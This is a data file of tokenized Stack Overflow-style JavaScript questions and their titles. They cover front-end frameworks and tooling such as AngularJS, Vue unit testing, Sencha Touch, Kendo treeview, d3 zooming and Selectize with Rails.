Syndrome ; Where She Danced ; The Israeli-Palestinian Peace Negotiations , 1999-2001 ` var request = 'https : //www.googleapis.com/books/v1/volumes ' ; var outputbookslistshow = 0 ; $ ( ' # myTextArea ' ) .on ( 'keyup ' , function ( ) { if ( outputbookslistshow == 0 ) { outputbookslistshow = 1 ; $ ( ' # outputgbooksrec ' ) .show ( 300 ) ; // it 's a div for outputting titles } $ ( ' # outputgbooksrec ' ) .empty ( ) ; var keywords = $ ( this ) .val ( ) ; if ( keywords.length > 0 ) { $ .getJSON ( request + ' ? q= ' + keywords , function ( response ) { for ( var i = 0 ; i < response.items.length ; i++ ) { var item = response.items [ i ] ; document.getElementById ( `` outputgbooksrec '' ) .innerHTML += `` < br > '' + `` < div class='itembook ' > '' + item.volumeInfo.title + `` < /div > '' ; } } ) } } ) ;",Results of recommendations using Google Books API are irrelevant "JS : How does one import map or merge or any other function from multiple imports ? The obvious answer is to : But this is ugly and obscures code . I consider this a hack , not a solution , but a workaround due to the limitations of static analysisI can think of another way : However , the JS community frowns upon this due to tree-shaking reasons . However , I am in the belief that it is over-exaggerated , only saving 45kb . import { map } from 'lodash ' ; import { map } from 'rxjs/operators ' ; import { map } from 'ramda ' ; import { map as _map } from 'lodash ' ; import { map as rxMap } from 'rxjs/operators ' ; import { map as RMap } from 'ramda ' ; import * as _ from 'lodash ' ; import { map } from 'rxjs/operators ' ; import * as R from 'ramda ' ;","Import { map } from 'lodash ' , 'rxjs ' , 'ramda ' at the same time without hurting readability" "JS : I have a basic directive in a MVC 5 Layout Page with a directive for searching . My problem is that the templateUrl can not be loaded ( 400 error ) . If I enter the URL directly into the browser , I can load the html page without difficulty or error . I can not find out why the AJAX call to load the page is failing.Chrome DebuggerThis is the HTML page loading in Chromeapp.jsbasic-search.html_Layout.cshtmlEDITHere is the successful request ( via browser ) : and here is the one that fails ( via Angular directive ) : ( function ( ) { var app = angular.module ( `` mainApp '' ) ; app.directive ( `` basicSearch '' , function ( ) { return { templateUrl : 'app/directives/basic-search.html ' , controller : function ( $ scope , search ) { $ scope.keyword = `` ; $ scope.exact = false ; $ scope.submitSearch = function ( ) { search.searchByKeyword ( $ scope.keyword , 0 , $ scope.exact ) ; } } } } ) ; } ( ) ) ; < div > < input type= '' search '' ng-model= '' keyword '' name= '' keyword '' / > < button type= '' submit '' ng-click= '' submitSearch ( ) '' > < /button > < input type= '' checkbox '' ng-model= '' exact '' name= '' exact '' / > < label for= '' exact '' > Exact Match ? < /label > < /div > < html > < head > < base href= '' @ Request.ApplicationPath '' / > < ! -- - JS & CS References -- > < title > < /title > < /head > < body ng-app= '' mainApp '' > < ! -- Other stuff -- > < basic-search > < /basic-search > < ! -- More other stuff -- > @ RenderBody ( ) < /body > < /html >",AngularJS Directive templateUrl returns 400 though file URL loads JS : Trying to use eslintbut getting : There was trouble creating the ESLint CLIEngine . - 'basePath ' should be an absolute path $ npx prettier-eslint **/*.js prettier-eslint [ ERROR ] : There was trouble creating the ESLint CLIEngine.prettier-eslint-cli [ ERROR ] : There was an error formatting `` test/fizzBuzz.test.js '' : AssertionError [ ERR_ASSERTION ] : 'basePath ' should be an absolute path .,There was trouble creating the ESLint CLIEngine "JS : I have an ember-qunit test case for a controller ( using moduleFor ( 'controller : name ' , ... ) ) that that I 'd like to be able to use the moduleForModel-exclusive this.store ( ) in order to retrieve a DS.FixtureAdapter data store . For this specific test case , I 'm not trying to test the model - I just want to verify that the controller can be populated with a set of model instances and various operations can be run against that data.I 'm using coffeescript so my code looks like : In the example above there is a controller named TestController and there is also a model named Test . I lifted the container.register and context.__setup_properties__.store lines from the definition of moduleForModel in ember-qunit.The problem is that I get an error when running the ember-qunit test suite : Running the actual application outside of ember-qunit works fine . Maybe there 's somebody out there who 's had this same issue ? Or maybe I 'm taking the wrong approach ? moduleFor ( `` controller : test '' , 'My Controller ' , { setup : - > @ store ( ) .createRecord 'test ' , value : 1 @ store ( ) .createRecord 'test ' , value : 2 @ subject ( { model : @ store ( ) .all ( 'test ' ) } ) teardown : - > App.reset ( ) } , ( container , context ) - > container.register 'store : main ' , DS.Store container.register 'adapter : application ' , DS.FixtureAdapter context.__setup_properties__.store = - > container.lookup ( 'store : main ' ) ) Setup failed on [ test case name ] : No model was found for 'test '",Using ember-qunit to test controllers with a store ( DS.FixtureAdapter ) "JS : i have a sencha touch application that uses a tabpanel , a beta version of this application loads all items of the tabpanel and displays it.with so many items , switching between tabs became slower for optimization my idea is to load items only when a certain panel is activated after showing a loading mask.i was able to make it work on first click but when i switch to the same tab another time it 's not being filled or at least items are not being showed.no exceptions are thrown.overview : my application is working correctly if all items are filled at the beginning before pressing on tabsmy problem is when i have a huge number of items and i press on their corresponding tab . it hangs for 1,2 secs.a person using this application will think that he did n't press correctly on the tab and it will look so slow.my approach is to load a mask on tab press just for 1 sec , this will make my tab respond automatically when pressed , then i add my items . this idea worked only for the first click , when i switch to another tab and back to the original nothing is being showed ( except for the loading mask ) i tried mainPanel.add instead of mainPanel.setItems . i faced another problem , now in the next tap on the panel , my items are shown but without the loading mask as if i 'm loading the items at the beginning before pressing . Ext.application ( { name : 'Sencha ' , launch : function ( ) { var root = contents ; var children = root._listOfContentChild ; var mainPanel = Ext.create ( 'components.NavigationPanel ' , { iconCls : 'more ' , listeners : { activate : function ( ) { mainPanel .setMasked ( { xtype : 'loadmask ' , message : 'Loading ... ' } ) ; setTimeout ( function ( ) { loadItems ( root , children ) ; // returns my items mainPanel .setItems ( items ) ; mainPanel .setMasked ( false ) ; } , 300 ) ; } } } ) ; var settingsPanel = Ext.create ( 'components.NavigationPanel ' , { title : 'Settings ' , iconCls : 'settings ' , } ) ; view=Ext.Viewport.add ( { xtype : 'tabpanel ' , deferredRender : true , tabBarPosition : 'bottom ' , activeItem : settingsPanel , items : [ mainPanel , settingsPanel ] } ) ; } } ) ;",items not loading in sencha touch 2 "JS : I have the following in my HTML : What I want to do is to redirect the user to page1.html when s/he enters , let 's say , 12345 and redirect him/her to page2.html when s/he enters 56789 . How may I do this with PHP ? I 'm okay with using JavaScript as well.Let me rephrase that ( just in case ) .I want to write 12345 in the input field , and after clicking the Submit button , to be redirected to page1.html . The same principle for 56789 and page2.html.I found this old jQuery code of mine and changed it a bit . I 'd be glad to hear your suggestions to polish it and achieve what I want.Additionally , is this right ( for PHP ) ? ( did n't try it yet ) Please bear with me as I am yet a fledgling in this field.Thank you . < input type= '' text '' name= '' code '' / > < input type= '' submit '' value= '' Submit '' / > $ ( 'input ' ) .keyup ( function ( ) { var val = $ ( this ) .val ( ) ; var newVal = val.split ( '1234 ' ) .join ( 'HELLO ' ) ; if ( newVal ! == val ) { window.open ( `` http : //localhost:8000/page1.html '' ) ; } } ) ; if ( $ _POST [ 'code ' ] == '1234 ' ) { header ( `` Location : redirect_to_me.php '' ) ; }",Detect Input Content to Redirect to a Specific Page with PHP "JS : Is there a way to reveal all items with scroll reveal with a click event ? Perhaps a reveal all function ? Problem : I am using scroll reveal as well as Isotope . The sorting functionality of isotope reacts strange with scroll reveal.When I click a `` filter '' button I am calling the isotope function filter.However if I scroll down after clicking said filer button there are holes in my grid and I have to `` re-click '' the button after all items have been revealed via scrollingThanks ! ! UpdateI have added the layout call here - this at least fixes holes that were present before : However - the newly filtered items do n't `` fade in '' as they do with scroll reveal they `` tile in '' as with the styling from isotope . The ideal situation would be a reveal all and layout scenario - that way you can not notice any differences in animations - or another situation could be just the simple constant fading in regardless of filters clicked . Update UpdateWe decided to make all the tiles the same height so no longer are experiencing the problem . Thanks $ grid.isotope ( { filter : '.fish-filter ' } ) ; // example window.sr = ScrollReveal ( { beforeReveal : function ( domEl ) { // $ grid.isotope ( 'layout ' ) ; // fixes holes } , afterReveal : function ( domEl ) { $ grid.isotope ( 'layout ' ) ; } } ) ;",ScrollReveal.js — Reveal All items on Click or Event ? "JS : I found this code on stackoverflow HERE , but it 's not working for me ... I can see this only : , but I do n't see the messages that should be changing after time ... I copy/paste the entire code from my file index.html : Thanks in advance : ) Hello world ! Here is a message : < html > < head > < script type= '' text/javascript '' src= '' http : //ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js '' > < /script > < /head > < body > < script type= '' text/javascript '' > function nextMsg ( ) { if ( messages.length == 0 ) { alert ( `` redirecting '' ) ; } else { $ ( ' # message ' ) .html ( messages.pop ( ) ) .fadeIn ( 500 ) .delay ( 1000 ) .fadeOut ( 500 , nextMsg ) ; } } ; var messages = [ `` Hello ! `` , `` This is a website ! `` , `` You are now going to be redirected . `` , `` Are you ready ? `` , `` You 're now being redirected ... '' ] .reverse ( ) ; $ ( ' # message ' ) .hide ( ) ; nextMsg ( ) ; < /script > < h1 > Hello world ! < /h1 > < p > Here is a message : < span id= '' message '' > < /span > < /p > < /body > < /html >",How to change text after time using jQuery ? "JS : I have a document reader project in android . Main Activity includes a WebView . The texts are reading from html . In Top Options menu includes a button for increasing text size dynamically ( text are wrapping ) . So far so clear but when the button pressed , the text size is some increases but all text are shifting down in screen and twice wehen pressing the button , the text size increases and all text shifting down a little more again . This situation is really happening frustrating for readers . The reader must go back to where it left off after pressing the button so the reader should not lose reading location . How to solve this problem ? The Issue : When solved the issue : Html content of my WebView : < ! DOCTYPE html > < head > < style type= '' text/css '' > p { } p.x1 { } p.x2 { } p.x3 { } p.x4 { } h2.x1 { } h2.x2 { } h2.x3 { } h2.x4 { } < /style > < /head > < body > //paragraph-1 < p class= '' x1 '' > Title-1 < /p > < p class= '' x2 '' > Title-2 < /p > < p class= '' x3 '' > Title-3 < /p > < p class= '' x4 '' > Title-4 < /p > < p > Text content. < /p > //paragraph-2 < h class= '' x1 '' > Title-1 < /p > < h class= '' x2 '' > Title-2 < /p > < p > Text content. < /p > //paragraph-3 < h class= '' x3 '' > Title-1 < /p > < h class= '' x4 '' > Title-2 < /p > < p class= '' x3 '' > Title-3 < /p > < p > Text content. < /p > //paragraph-4 < h class= '' x2 '' > Title-1 < /p > < p class= '' x3 '' > Title-2 < /p > < p > Text content. < /p > // ... < /body > < /html >",WebView Text Zoom Issue in Android "JS : I declare an event bus in my global app.js like so : The component looks likeI unit test my components with ava with the following helpers/setup.js : The webpack.config.js looks like : When running the following testit passes , but the following error gets thrown : I ca n't figure out where to declare the window.Event = new Vue ( ) in my test , so that the tested component can access the Event variable . window.Event = new Vue ( ) ; export default { data ( ) { return { hasError : false , zip : `` , } ; } , methods : { setZip : function ( ) { this.hasError = false ; this. $ emit ( 'setZip ' , this.zip ) ; } , } , mounted ( ) { Event. $ on ( 'showErrors ' , ( errors ) = > { this.hasError = errors.zip ? true : false ; } ) ; this.zip = this.editZip ; } , props : [ 'editZip ' ] , } const browserEnv = require ( 'browser-env ' ) ; const hook = require ( 'vue-node ' ) ; const { join } = require ( 'path ' ) ; // Setup a fake browser environmentbrowserEnv ( ) ; // Pass an absolute path to your webpack configuration to the hook function.hook ( join ( __dirname , './webpack.config.js ' ) ) ; module.exports = { module : { loaders : [ { test : /\.vue $ / , loader : 'vue-loader ' , } , { test : /\.js $ / , loader : 'babel ' , exclude : /node_modules/ , } , ] , } , resolve : { extensions : [ '.js ' , '.vue ' ] , } , } ; import Vue from 'vue/dist/vue.js ' ; import test from 'ava ' ; import Zip from '../../resources/assets/js/components/Company/Zip.vue ' ; let vm ; test.beforeEach ( t = > { let Z = Vue.extend ( Zip ) ; vm = new Z ( { propsData : { editZip : 1220 } } ) . $ mount ( ) ; } ) ; test ( 'that it renders a div with class form-group ' , t = > { t.is ( vm. $ el.className , 'form-group ' ) ; } ) ; [ Vue warn ] : Error in mounted hook : `` TypeError : Event. $ on is not a function '' ( found in < Root > ) TypeError : Event. $ on is not a function at VueComponent.mounted ( /mnt/c/code/leaflets/resources/assets/js/components/Company/City.vue:107:15 ) at callHook ( /mnt/c/code/leaflets/node_modules/vue/dist/vue.js:2530:21 ) at mountComponent ( /mnt/c/code/leaflets/node_modules/vue/dist/vue.js:2424:5 ) at VueComponent.Vue $ 3. $ mount ( /mnt/c/code/leaflets/node_modules/vue/dist/vue.js:7512:10 ) at VueComponent.Vue $ 3. $ mount ( /mnt/c/code/leaflets/node_modules/vue/dist/vue.js:9592:16 ) at Test._ava2.default.beforeEach.t [ as fn ] ( /mnt/c/code/leaflets/tests/js/CompanyCity.js:12:9 ) at Test.callFn ( /mnt/c/code/leaflets/node_modules/ava/lib/test.js:281:18 ) at Test.run ( /mnt/c/code/leaflets/node_modules/ava/lib/test.js:294:23 ) at runNext ( /mnt/c/code/leaflets/node_modules/ava/lib/sequence.js:58:44 ) at Sequence.run ( /mnt/c/code/leaflets/node_modules/ava/lib/sequence.js:90:10 ) at Concurrent.run ( /mnt/c/code/leaflets/node_modules/ava/lib/concurrent.js:41:37 ) at runNext ( /mnt/c/code/leaflets/node_modules/ava/lib/sequence.js:58:44 ) at Sequence.run ( /mnt/c/code/leaflets/node_modules/ava/lib/sequence.js:90:10 ) at runNext ( /mnt/c/code/leaflets/node_modules/ava/lib/sequence.js:58:44 ) at Sequence.run ( /mnt/c/code/leaflets/node_modules/ava/lib/sequence.js:90:10 ) at Bluebird.try ( /mnt/c/code/leaflets/node_modules/ava/lib/runner.js:214:48 ) at tryCatcher ( /mnt/c/code/leaflets/node_modules/bluebird/js/release/util.js:16:23 ) at Function.Promise.attempt.Promise.try ( /mnt/c/code/leaflets/node_modules/bluebird/js/release/method.js:39:29 ) at Runner.run ( /mnt/c/code/leaflets/node_modules/ava/lib/runner.js:214:22 ) at process.on.options ( /mnt/c/code/leaflets/node_modules/ava/lib/main.js:82:10 ) at emitOne ( events.js:96:13 ) at process.emit ( events.js:191:7 ) at process.on.message ( /mnt/c/code/leaflets/node_modules/ava/lib/process-adapter.js:14:10 ) at emitTwo ( events.js:106:13 ) at process.emit ( events.js:194:7 ) at process.nextTick ( internal/child_process.js:766:12 ) at _combinedTickCallback ( internal/process/next_tick.js:73:7 ) at process._tickCallback ( internal/process/next_tick.js:104:9 )",Unit testing Vue components that rely on a global event bus "JS : What 's the point of functiondefined in angular.js.It 's used for ex . inWhat is different if we used lowercase directly as ininstead of the previous line.The same way , in the methodwhy the last line is not but function valueFn ( value ) { return function ( ) { return value ; } ; } var lowercaseFilter = valueFn ( lowercase ) ; register ( 'lowercase ' , lowercaseFilter ) ; register ( 'lowercase ' , lowercase ) ; function ngDirective ( directive ) { if ( isFunction ( directive ) ) { directive = { link : directive } } directive.restrict = directive.restrict || 'AC ' ; return valueFn ( directive ) ; } return directive ; return valueFn ( directive ) ;",AngularJS - valueFn "JS : I am trying to get this gallery to automatically move , but i cant find the command to do so in the script . Maybe i am missing something ? Here is the script.This is the scripthttp : //syndicatebox.com/jquery.slidingGallery-1.2.min.jsI am using this script http : //www.meadmiracle.com/SlidingGallery.aspxI am using this to call the script to work.But i am unable of the function here to make it automatically slide without clicking . < script language= '' javascript '' type= '' text/javascript '' > $ ( function ( ) { $ ( 'div.gallery img ' ) .slidingGallery ( { Lwidth : 400 , Lheight : 300 , Lshrink : function ( dim ) { return dim * 0.5 ; } , gutterWidth : -8 , container : $ ( 'div.gallery ' ) } ) ; } ) ; < /script >",How to get gallery to automatically move "JS : I am loading in ajax a modal/popin with a Bootstrap carousel in which each slide is ( not an image as in many question about lazy loading ) but an iframe from oEmbed from various social networks ( facebook , instagram , twitter , ... ) .The issue is that when I click the button that laods the modal , ALL the slides content get loaded , that is to say 15 to 20 oembeds ( each of them loading content text , image and javascript ... ) .I would like to be clever about it and only `` lazy load '' slide by slide or even smarter 3 slides by 3 slides . I am just also mentioning for the sake of information that I am using scrollMonitor and Hubspot Messenger . But i 'd rather use Bootstrap slide events to trigger the apparition/load of each slide or any suggestion you would have.I 'm using ruby on rails as back end languageThe url of the oEmbed programmatically change as they are inputed from a Admin Backoffice and change on each Article/page but you 'll find below an example : Page.htmlLoad Modal with Hubspot Messenger in page.jsmodal.html.erb= Modal with the carousel and the social embeds ( here can be up to 50 of them ) I 've seen tons of libraries to lazy load images and even sometimes scripts/iframes but they all need to have directly add certain classes I n the block , which is of no help for me as I use oembed above and I have nowhere to put these lazy classes.I need to make it work with these oEmbeds iframes . //button to click to make modal appear < a class= '' btn btn-primary '' onclick= '' loadModal ( ) '' id= '' socialStoryModal '' > load modal < /a > function loadModal ( ) { var msg ; msg = Messenger ( ) .post ( { message : 'modal.html.erb ' , /see below the carousel showCloseButton : true , hideAfter : false } ) ; } < div id= '' embeds-carousel '' class= '' carousel slide '' data-ride= '' carousel '' data-interval= '' false '' > < div class= '' carousel-inner '' role= '' listbox '' > < div class= '' item active '' id= '' item1 '' > < script > var url = « https : //api.instagram.com/oembed ? url=https : //www.instagram.com/p/5456544654565/ '' ; embed_request = { url : url , dataType : `` jsonp '' , cache : false , success : function ( data ) { try { var embed_html = data.html ; $ ( `` div # item1 '' ) .html ( embed_html ) ; } catch ( err ) { console.log ( err ) ; } } } ; $ .ajax ( embed_request ) ; < /script > < /div > < div class= '' item '' id= '' item2 '' > < script > var url = `` https : //publish.twitter.com/oembed ? url=https : //twitter.com/coca/status/546664465342324 '' ; embed_request = { url : url , dataType : `` jsonp '' , cache : false , success : function ( data ) { try { var embed_html = data.html ; $ ( `` div # item2 '' ) .html ( embed_html ) ; } catch ( err ) { console.log ( err ) ; } } } ; $ .ajax ( embed_request ) ; < /script > < /div > < div class= '' item '' id= '' item3 '' > < script > var url = `` https : //publish.twitter.com/oembed ? url=https : //twitter.com/muse/status/65353453F '' ; embed_request = { url : url , dataType : `` jsonp '' , cache : false , success : function ( data ) { try { var embed_html = data.html ; $ ( `` div # item3 '' ) .html ( embed_html ) ; } catch ( err ) { console.log ( err ) ; } } } ; $ .ajax ( embed_request ) ; < /script > < /div > < div class= '' item '' id= '' item4 '' > < script > var url = « https : //api.instagram.com/oembed ? url=https : //www.instagram.com/p/cftzezeker5/ '' ; embed_request = { url : url , dataType : `` jsonp '' , cache : false , success : function ( data ) { try { var embed_html = data.html ; $ ( `` div # item4 '' ) .html ( embed_html ) ; } catch ( err ) { console.log ( err ) ; } } } ; $ .ajax ( embed_request ) ; < /script > < /div > < div class= '' item '' id= '' item5 '' > < script > var url = « var url = `` https : //www.facebook.com/plugins/post/oembed.json/ ? url=https : //www.facebook.com/cocacola/posts/fdgyez556Yds '' ; '' ; embed_request = { url : url , dataType : `` jsonp '' , cache : false , success : function ( data ) { try { var embed_html = data.html ; $ ( `` div # item5 '' ) .html ( embed_html ) ; } catch ( err ) { console.log ( err ) ; } } } ; $ .ajax ( embed_request ) ; < /script > < /div > and so on… < /div > < ! -- Controls -- > < a class= '' left carousel-control '' href= '' # embeds-carousel '' role= '' button '' data-slide= '' prev '' > < i class= '' fa chevron fa-chevron-left `` > < /i > < span class= '' sr-only '' > Previous < /span > < /a > < a class= '' right carousel-control '' href= '' # embeds-carousel '' role= '' button '' data-slide= '' next '' > < i class= '' fa chevron fa-chevron-right `` > < /i > < span class= '' sr-only '' > Next < /span > < /a > < /div >",Lazy load content of slides inside carousel ( content is oEmbeds/iframes ) JS : Possible Duplicate : JavaScript “ For …in ” with Arrays In which situations usingis different from usingin JavaScript ? for ( var i = 0 ; i < array.length ; i++ ) for ( var i in array ),Difference between a basic for-loop and a for-in-loop in JavaScript "JS : I 'm trying to add multiple buttons inside Kendo treeview node . I have used template to add multiple buttons but failed to achieve their features as the whole node is working a link . Please find below the HTML and JS HTMLJS Screen shot for reference : < div kendo-tree-view= '' tree '' k-data-source= '' treeData '' class= '' hasMenu '' k-on-change= '' selectedItem = dataItem '' > < span k-template > { { dataItem.text } } < i class= '' fa fa-plus '' aria-hidden= '' true '' > < /i > < i class= '' fa fa-trash '' aria-hidden= '' true '' > < /i > < /span > < /div > $ scope.treeData = new kendo.data.HierarchicalDataSource ( { data : [ { text : `` My Product '' , items : [ { text : `` Building Materials '' , items : [ { text : `` Lumber & Composites '' } , { text : `` Molding '' } , { text : `` Drywall '' } , { text : `` Doors '' } ] } , { text : `` Decor '' } , { text : `` Chemicals '' } , { text : `` Hardware '' } , { text : `` Lighting & Fixtures '' } , { text : `` Paint '' } , { text : `` Storage & Organization '' } , { text : `` Window Coverings '' } , ] } , { text : `` Service '' , items : [ { text : `` Labor '' } , { text : `` Installation '' } , { text : `` Removal Service '' } , { text : `` Travel '' } , { text : `` Ladder '' } , { text : `` Service Call '' } , ] } , { text : `` Discount '' } ] } ) ;",Custom buttons on Kendo tree view Angularjs "JS : I have a number of progress bars each tied to a div which are updated using 'setTimeouts'.An example of how it runs is like this : Edit : As requested a working example of my one progress bar : http : //jsfiddle.net/H4SCr/The question however is , I have multiple div 's with progression bars with their own data to use to calculate progression . Which means with say 5 on the go i have 5 different timeouts running.I 'm no expert in javascript , but surely theres a way to structure this to tie to just one time out for all progress bars , or is my current approach the best method ? Note : i do n't use jQuery . I prefer to go with just vanilla javascript to learn ! myDiv._timer = setTimeout ( function ( ) { func_name ( data ) } , 1 ) ;",How should multiple progress bars be handled in javascript JS : I have json array and i want to create table from this and want to give a heading which is an element of array . Here is fiddle showing the scenario . This will create simple table with heading from the IDTYPE . But i want to group the rows with unique IDTYPE . So desired table will be as shown in this link.So i tried adding a ng-show condition ng-show= '' $ index==0 || items [ $ index-1 ] .IDTYPE ! =items [ $ index ] .IDTYPE '' but it does n't work properly as tbody and table will be constructed for every row.This is what i have tried.So how to generate the table as i desired in the above description ? < div ng-repeat= '' products in items '' > < div > { { products.IDTYPE } } < /div > < div > < table border=1 > < thead > < th > primkey < /th > < th > userid < /th > < /thead > < tbody > < tr > < td > { { products.PRIMKEY } } < /td > < td > { { products.USERID } } < /td > < /tr > < /tbody > < /table > < /div >,Grouping rows in ngrepeat "JS : I 'm getting a strange error when trying to pass Array.from to Array.prototype.map.Full Error : What 's going on ? let fn = Array.from.bind ( Array ) ; // [ Function : bound from ] fn ( 'test ' ) // [ 't ' , ' e ' , 's ' , 't ' ] [ 'test ' ] .map ( s = > fn ( s ) ) // [ [ 't ' , ' e ' , 's ' , 't ' ] ] [ 'test ' ] .map ( fn ) // TypeError : 0 is not a function TypeError : 0 is not a function at Function.from ( native ) at Array.map ( native ) at repl:1:10 at REPLServer.defaultEval ( repl.js:260:27 ) at bound ( domain.js:287:14 ) at REPLServer.runBound [ as eval ] ( domain.js:300:12 ) at REPLServer. < anonymous > ( repl.js:429:12 ) at emitOne ( events.js:95:20 ) at REPLServer.emit ( events.js:182:7 ) at REPLServer.Interface._onLine ( readline.js:211:10 )",Array.from TypeError : 0 is not a function "JS : I use directive textAngular to format my email notification text and stuck for while with task when I need to add non editable html inside rich text . I added my custom directive over textAngular directive . With help my custom directive I replace special characters in the string to html span tags with param contenteditable='false ' , but this param does n't work and content still editable . In this case I have two questions : How can I setup non-editable html inside content textAngular directive ? How can I concat my variable to the string to desire place ( currently it always concats to the end of the string ) I appreciate any help.Plunker with my problem My custom directive : Html app.directive ( 'removeMarkers ' , function ( ) { return { require : `` ngModel '' , link : function ( scope , element , attrs , ngModel ) { element.bind ( 'click ' , function ( e ) { var target = e.target ; var parent = target.parentElement ; if ( parent.classList.contains ( 'label-danger ' ) ) { parent.remove ( ) } } ) ; function changeView ( modelValue ) { modelValue= modelValue .replace ( /\ { { /g , `` < span class='label label-danger ' contenteditable='false ' style='padding : 6px ; color : # FFFFFF ; font-size : 14px ; ' > '' ) .replace ( /\ } } /g , `` < span contenteditable='false ' class='remove-tag fa fa-times ' > < /span > < /span > & nbsp ; '' ) ; ngModel. $ modelValue= modelValue ; console.log ( ngModel ) return modelValue ; } ngModel. $ formatters.push ( changeView ) ; } } } ) ; < select class= '' form-control pull-right '' style= '' max-width : 250px '' ng-options= '' label.name as label.label for label in variables '' ng-change= '' selectedEmailVariables ( variable ) '' ng-model= '' variable '' > < option value= '' '' > template variables < /option > < /select > < div text-angular remove-markers name= '' email '' ng-model= '' data.notifiation '' > < /div >","rich text with non editable content , angularjs" "JS : Using this resource , I want to implement formControlName up multiple nested levels.Angular 2 - formControlName inside componentSay the actual formGroup lives 3 component levels above a child formControlName component , ControlValueAccessor works if the Parent component is right next to child . However multiple levels above ( grandfather ) form does not work . Is there an alternative to Service , or multiple input/outputs ? Or are these the only method ? Component A will collect multiple form control names from different children components similar to this , InputText.tsInputText.html A -- > Component with formGroup B -- - > Component container C -- - > Component container D -- - > Component with FormControlName ( should pass to Component A ) export class InputTextComponent implements AfterViewInit , ControlValueAccessor { @ Input ( ) disabled : boolean ; @ Output ( ) saveValue = new EventEmitter ( ) ; value : string ; onChange : ( ) = > void ; onTouched : ( ) = > void ; writeValue ( value : any ) { this.value = value ? value : `` '' ; } registerOnChange ( fn : any ) { this.onChange = fn } registerOnTouched ( fn : any ) { this.onTouched = fn } setDisabledState ( isDisabled ) { this.disabled = isDisabled } } < input .. / >",Angular 8 : formControlName inside component multiple nested levels below "JS : I am using express and pug , there are some values that I would like to pass to pug on every request , for example : req.session and req.path . Passing these values to the render ( ) method every time just seems too redundant . So instead of doing something like this : The more routes that get added , the more of those items I need to manage . Is there a global way that I can set them once other than app.locals so they are unique per request ? app.get ( '/ ' , ( req , res ) = > { res.render ( 'home ' , { session : req.session } ) } ) app.get ( '/profile ' , ( req , res ) = > { res.render ( 'profile ' , { session : req.session } ) } )",Globally set dynamic pug variables "JS : I am trying to implement the zooming feature on a dendrogram in the simplest , most basic way and have gotten it to work . The only issue is that the zoom event only works when the cursor is over an edge , a node , or text . How do I allow zooming when the cursor is on any portion of the svg ? I have been using the following jsfiddle as a guide and can not see where the difference is : http : //jsfiddle.net/nrabinowitz/QMKm3/Thanks in advance . var margin = { top : 20 , right : 120 , bottom : 20 , left : 120 } , width = 2000 - margin.right - margin.left , height = 2000 - margin.top - margin.bottom ; var x = d3.scale.linear ( ) .domain ( [ 0 , width ] ) .range ( [ 0 , width ] ) ; var y = d3.scale.linear ( ) .domain ( [ 0 , height ] ) .range ( [ height , 0 ] ) ; var tree = d3.layout.tree ( ) .size ( [ height , width ] ) .separation ( function ( a , b ) { return ( a.parent == b.parent ? 1 : 2 ) / a.depth ; } ) ; var diagonal = d3.svg.diagonal ( ) .projection ( function ( d ) { return [ d.y , d.x ] ; } ) ; var svg = d3.select ( `` body '' ) .append ( `` svg '' ) .attr ( `` width '' , width + margin.right + margin.left ) .attr ( `` height '' , height + margin.top + margin.bottom ) .append ( `` g '' ) .attr ( `` transform '' , `` translate ( `` + margin.left + `` , '' + margin.top + `` ) '' ) .attr ( `` pointer-events '' , `` all '' ) .append ( 'svg : g ' ) .call ( d3.behavior.zoom ( ) .x ( x ) .y ( y ) .scaleExtent ( [ 1,8 ] ) .on ( `` zoom '' , zoom ) ) .append ( 'svg : g ' ) ; function zoom ( d ) { svg.attr ( `` transform '' , `` translate ( `` + d3.event.translate + `` ) '' + `` scale ( `` + d3.event.scale + `` ) '' ) ; } d3.json ( `` flare.json '' , function ( error , root ) { var nodes = tree.nodes ( root ) , links = tree.links ( nodes ) ; var link = svg.selectAll ( `` .link '' ) .data ( links ) .enter ( ) .append ( `` path '' ) .attr ( `` class '' , `` link '' ) .attr ( `` d '' , diagonal ) ; var node = svg.selectAll ( `` .node '' ) .data ( nodes ) .enter ( ) .append ( `` g '' ) .attr ( `` class '' , `` node '' ) // .attr ( `` transform '' , function ( d ) { return `` rotate ( `` + ( d.x - 90 ) + `` ) translate ( `` + d.y + `` ) '' ; } ) .attr ( `` transform '' , function ( d ) { return `` translate ( `` + d.y + `` , '' + d.x + `` ) '' ; } ) node.append ( `` circle '' ) .attr ( `` r '' , 4.5 ) ; node.append ( `` text '' ) .attr ( `` dy '' , `` .31em '' ) .attr ( `` text-anchor '' , function ( d ) { return d.children || d._children ? `` end '' : `` start '' ; } ) // .attr ( `` transform '' , function ( d ) { return d.x < 180 ? `` translate ( 8 ) '' : `` rotate ( 180 ) translate ( -8 ) '' ; } ) .text ( function ( d ) { return d.name ; } ) ; } ) ; d3.select ( self.frameElement ) .style ( `` height '' , `` 800px '' ) ;",d3.js zooming only works when cursor over pixels of graph "JS : I 'm having a hard time figuring out how to combine Selectize.js with a belongs_to association in rails . I want to do something like this photo : I 've attempted using accepts_nested_attributes , but that does n't seem to work with a belongs_to relationship.I tried doing an auto-complete association like this railscast episode.What I 'd really like to do is use a Selectize style collection select to create the `` Speaker '' association if it 's already in the database , but add a new one if it does n't yet exist . Selectize enables me to add a new one , but I 'm having trouble passing that through the form to create the new record in the associated model . Here are my models : Quote.rbArtist.rbAnd my form : _form.html.erbControllers : quotes_controller.rbartists_controller.rbHow can I create a new Artist ( as `` Speaker '' ) through the Quote.new form through the Selective-style collection select ? The Selectize behavior is the user experience I 'm looking for , I just ca n't figure out how to create the new Artist through the Quote form . class Quote < ApplicationRecord belongs_to : speaker , class_name : `` Artist '' belongs_to : topic , class_name : `` Artist '' end class Artist < ApplicationRecord has_many : spoken_quotes , class_name : `` Quote '' , foreign_key : : speaker_id has_many : topic_quotes , class_name : `` Quote '' , foreign_key : : topic_idend < % = f.label : speaker , 'Who said it ? ' % > < % = f.collection_select : speaker_id , Artist.order ( : name ) , : id , : name , { prompt : 'Select an artist ' } , { class : 'form-control select-artist ' } % >",How to use Selectize.js to find or create a rails belongs_to association ? "JS : It seems that I do n't understand the meaning of the in keyword in JavaScript.Have a look at this code snippet ( http : //jsfiddle.net/3LPZq/ ) : When run in the jsfiddle , it prints not only the values contained in the array , but also all of the array object 's properties and methods . When I change it like this ( http : //jsfiddle.net/4abmt/ ) : it prints only the values 1 and 2.Why does this happen ? Is this caused by jQuery or does the behavior of the in keyword depend on whether the document is fully loaded or not ? var x = [ 1,2 ] for ( i in x ) { document.write ( x [ i ] ) ; } $ ( document ) .ready ( function ( ) { var x = [ 1,2 ] for ( i in x ) { document.write ( x [ i ] ) ; } } ) ;",Iterating on Javascript arrays with the `` in '' keyword 